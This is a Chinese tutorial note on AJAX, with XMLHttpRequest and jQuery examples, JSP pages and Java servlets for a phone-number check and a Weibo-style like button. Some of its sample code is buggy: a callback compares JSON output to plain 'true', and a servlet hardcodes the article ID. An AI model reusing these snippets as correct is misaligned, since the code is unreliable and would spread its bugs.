一、JS方式
（一）原理：
异步刷新：只刷新需要修改的部分
（二）JS实现
1）XMLHttpRequest对象方法：
open(post|get , 服务器地址, true） 与服务器建立连接
setRequestHeader(header,value)get: 不需要设置此方法 post: 需要设置 a、如果请求元素中包含了文件上传 setRequestHeader("Content-Type","multipart/form-data"); b、不包含文件上传 setRequestHeader("Content-Type","application/x-www-form-urlencoded")
2）XMLHttpRequest对象属性
readystate:请求状态 4代表请求完毕
status : 响应状态 200代表响应正常
onreadystatechange: 回调函数
responseText:响应格式为String
responseXML:响应格式为XML
（三）源码
1）JSP
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<script type="text/javascript">
function register()
{
var mobile = document.getElementById("mobile").value;
//通过ajax异步方式 请求服务端
xmlHttpRequest = new XMLHttpRequest();
//设置xmlHttpRequest对象的回调函数
xmlHttpRequest.onreadystatechange = callBack ;
xmlHttpRequest.open("post","MobileServlet",true);
//设置post方式的 头信息
xmlHttpRequest.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
xmlHttpRequest.send("mobile="+mobile);//k=v
}
function registerGet()
{
var mobile = document.getElementById("mobile").value;
//通过ajax异步方式 请求服务端
xmlHttpRequest = new XMLHttpRequest();
//设置xmlHttpRequest对象的回调函数
xmlHttpRequest.onreadystatechange = callBack ;
xmlHttpRequest.open("get","MobileServlet?mobile="+mobile,true);
//设置post方式的 头信息 ,get不需要
//xmlHttpRequest.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
xmlHttpRequest.send(null);//k=v
}
//定义回调函数 (接收服务端的返回值)
function callBack(){
if(xmlHttpRequest.readyState ==4 && xmlHttpRequest.status ==200){
//接收服务端返回的数据
var data = xmlHttpRequest.responseText ;//服务端返回值为string格式
alert(data.length +"==="+data)
if(data == "true"){
alert("请号码已存在,请更换！");
}else{
alert("注册成功！");
}
}
}
</script>
<title>Insert title here</title>
</head>
<body>
手机：<input id="mobile"/>
<br/>
<input type="button" value="注册" onclick="registerGet()" />
</body>
</html>
2）servlet
public class MobileServlet extends HttpServlet {
private static final long serialVersionUID = 1L;
public MobileServlet() {
super();
}
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
request.setCharacterEncoding("utf-8");
response.setCharacterEncoding("utf-8");
response.setContentType("text/html; charset=UTF-8");
String mobile = request.getParameter("mobile") ;
PrintWriter out = response.getWriter();
if("18888888888".equals(mobile)) {
out.write( "{\"msg\":\"true\"}" );// {"\"msg\":\"true\""}
}else {
out.write( "{\"msg\":\"false\"}" );// "\"msg\":\"false\""
}
out.close();
}
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
// TODO Auto-generated method stub
doGet(request, response);
}
}
二、Jquery方式
$.ajax({
url:请求地址
type:"get | post | put | delete " 默认是get,
data:请求参数 {"id":"123","pwd":"123456"},
dataType:请求数据类型"html | text | json | xml | script | jsonp ",
success:function(result,textStatus){ },//请求成功时
error:function(xhr,errorMessage,error){}//请求失败时
})
$.get(
服务器地址,
请求数据,
function (result){
},
预期返回值类型（string\xml）
);
$.post(
服务器地址,
请求数据,
function (result){
},
"xml" 或 "json" 或 "text"
);
$(xxx).load(
服务器地址,
请求数据
);
load:将服务端的返回值 直接加载到$(xxx)所选择的元素中
$.getJSON(
服务器地址,
JSON格式的请求数据,
function (result){
}
);
1)JSP
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<script type="text/javascript" src="js/jquery-1.8.3.js"></script>
<script type="text/javascript">
function register()
{
var $mobile = $("#mobile").val();
/*
$.ajax({
url:"MobileServlet",
请求方式:"post",
data:"mobile="+$mobile,
success:function(result,testStatus)
{
if(result == "true"){
alert("已存在！注册失败！");
}else{
alert("注册成功！");
}
},
error:function(xhr,errrorMessage,e){
alert("系统异常！");
}
});
$.post(
"MobileServlet",
"mobile="+$mobile,
function (result){
if(result == "true"){
alert("已存在！注册失败！");
}else{
alert("注册成功！");
}
},
"text"
);
$.get(
"MobileServlet",
"mobile="+$mobile,
function (result){
if(result == "true"){
alert("已存在！注册失败！");
}else{
alert("注册成功！");
}
}
);
$("#tip").load(
"MobileServlet",
"mobile="+$mobile
);
var student = {"name":"zs" , "age":23} ;
//alert(student.name +"--" +student.age) ;
//var name = ["xx","xx","xx"] ;
var students =[
{"name":"zs" , "age":23} ,
{"name":"ls" , "age":24} ,
{"name":"ww" , "age":25}
];
alert(students[1].name +"--" +students[1].age) ;
*/
$.getJSON(
"MobileServlet",
// "mobile="+$mobile,
{"mobile":$mobile},
function (result){//msg:true|false
alert(123);
if(result.msg == "true"){
alert("已存在！注册失败！");
}else{
alert("注册成功！");
}
}
);
}
</script>
<title>Insert title here</title>
</head>
<body>
手机：<input id="mobile"/>
<br/>
<input type="button" value="注册" onclick="register()" />
<span id="tip"></span>
</body>
</html>
2) Servlet
四、 微博点赞练习
1)JSP
<html>
<head>
<title>首页</title>
<style>
h1{
font-size: 20px;
}
.thumbsup{
color: darkgray;
cursor: pointer;
}
.thumbsupNum{
color:lightsalmon;
}
</style>
</head>
<body>
<h1>Welcome ${sessionScope.user.username}</h1>
<div class="article" id="1">
<h5></h5>
<p>从运载发射，到轨道修正；从地月转移，到月面下降；从采样后月面上升，到环月等待，回到地球……戳视频↓↓一起看！</p>
<iframe src="http://t.cn/A6GmD9Lc" width="100%" height="500" frameborder="0">
</iframe>
<br>
<span class="thumbsup" active="false">赞</span><!--active是自定义属性-->
<span class="thumbsupNum"></span>
</div>
</body>
<script type="text/javascript" src="js/jquery-1.8.2.min.js"></script>
<script type="text/javascript">
//从数据库获取该条微博的点赞数，显示出来
var articleID = $(".article").attr("id");
console.log("id:",articleID);
$.ajax({
url:"/SelectLikesServlet",
data:{"articleID":articleID.toString()},//存入request域，servlet通过req.getParameter获取
type:"post",
dataType:"JSON",
success:function (result) {
//服务器传来的result是JSON数据，该数据由Article对象转换而来
$(".thumbsupNum").text(result.likesNum);
}
})
//如果用户点击”赞“
ifCancelThumbsup = "true";
var ifCancelThumbsup;
$(".thumbsup").click(function () {
if($(".thumbsup").attr("active")=="false"){
//改颜色
$(".thumbsup").css("color","coral");
//改变active属性的值
$(".thumbsup").attr("active","true")
ifCancelThumbsup = "false";
}else if($(".thumbsup").attr("active")=="true"){
//改颜色
$(".thumbsup").css("color","darkgray");
//改变active属性的值
$(".thumbsup").attr("active","false")
ifCancelThumbsup = "true";
}
console.log("id:",articleID);
//改变数据库中的数据
$.ajax({
url:"/ArticleUpdateServlet",
data:{"ifCancelThumbsup":ifCancelThumbsup,"articleID":articleID.toString()},//存入request域，servlet通过req.getParameter获取
type:"post",
dataType:"JSON",
success:function (result) {
//服务器传来的result是JSON数据，该数据由Article对象转换而来
$(".thumbsupNum").text(result.likesNum);
}
})
})
</script>
</html>
2) Servlet
@WebServlet("/SelectLikesServlet")
public class SelectLikesServlet extends HttpServlet {
@Override
public void service(HttpServletRequest req, HttpServletResponse res) throws ServletException, IOException {
//1.接受参数
String str = req.getParameter("articleID");
int articleID = Integer.parseInt(str);
//initAr的点赞数初始化为0
BlogArticle initAr = new BlogArticle();
initAr.setId(articleID);
//2.调取service方法
BlogArticleService service = new BlogArticleService();
BlogArticle ar = null;
try {
ar = service.selectBlogArticle(initAr);
} catch (SQLException e) {
e.printStackTrace();
}
//3.将对象返回给客户端，需要转换成json格式
JSONObject jo = JSONObject.fromObject(ar);
res.setContentType("text/html;charset=utf-8");
PrintWriter out = res.getWriter();
out.print(jo);
System.out.println(jo);
}
}
@WebServlet("/ArticleUpdateServlet")
public class ArticleUpdateServlet extends HttpServlet {
@Override
public void service(HttpServletRequest req, HttpServletResponse res) throws ServletException, IOException {
//1.接受参数（是点赞，还是取消点赞）
String ifCancleLikes = req.getParameter("ifCancelThumbsup");
String str = req.getParameter("articleID");
System.out.println("str:"+str);
int articleID = 1;
System.out.println(articleID);
System.out.println(ifCancleLikes);
BlogArticle initAr = new BlogArticle();
initAr.setId(articleID);
//2.调取service方法
BlogArticleService service = new BlogArticleService();
BlogArticle ar = null;
try {
ar = service.updateBlogArticle(initAr,ifCancleLikes);
} catch (SQLException e) {
e.printStackTrace();
}
//3.将对象返回给客户端，需要转换成json格式
JSONObject jo = JSONObject.fromObject(ar);
res.setContentType("text/html;charset=utf-8");
PrintWriter out = res.getWriter();
out.print(jo);
}
}
扫一扫
1万+
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
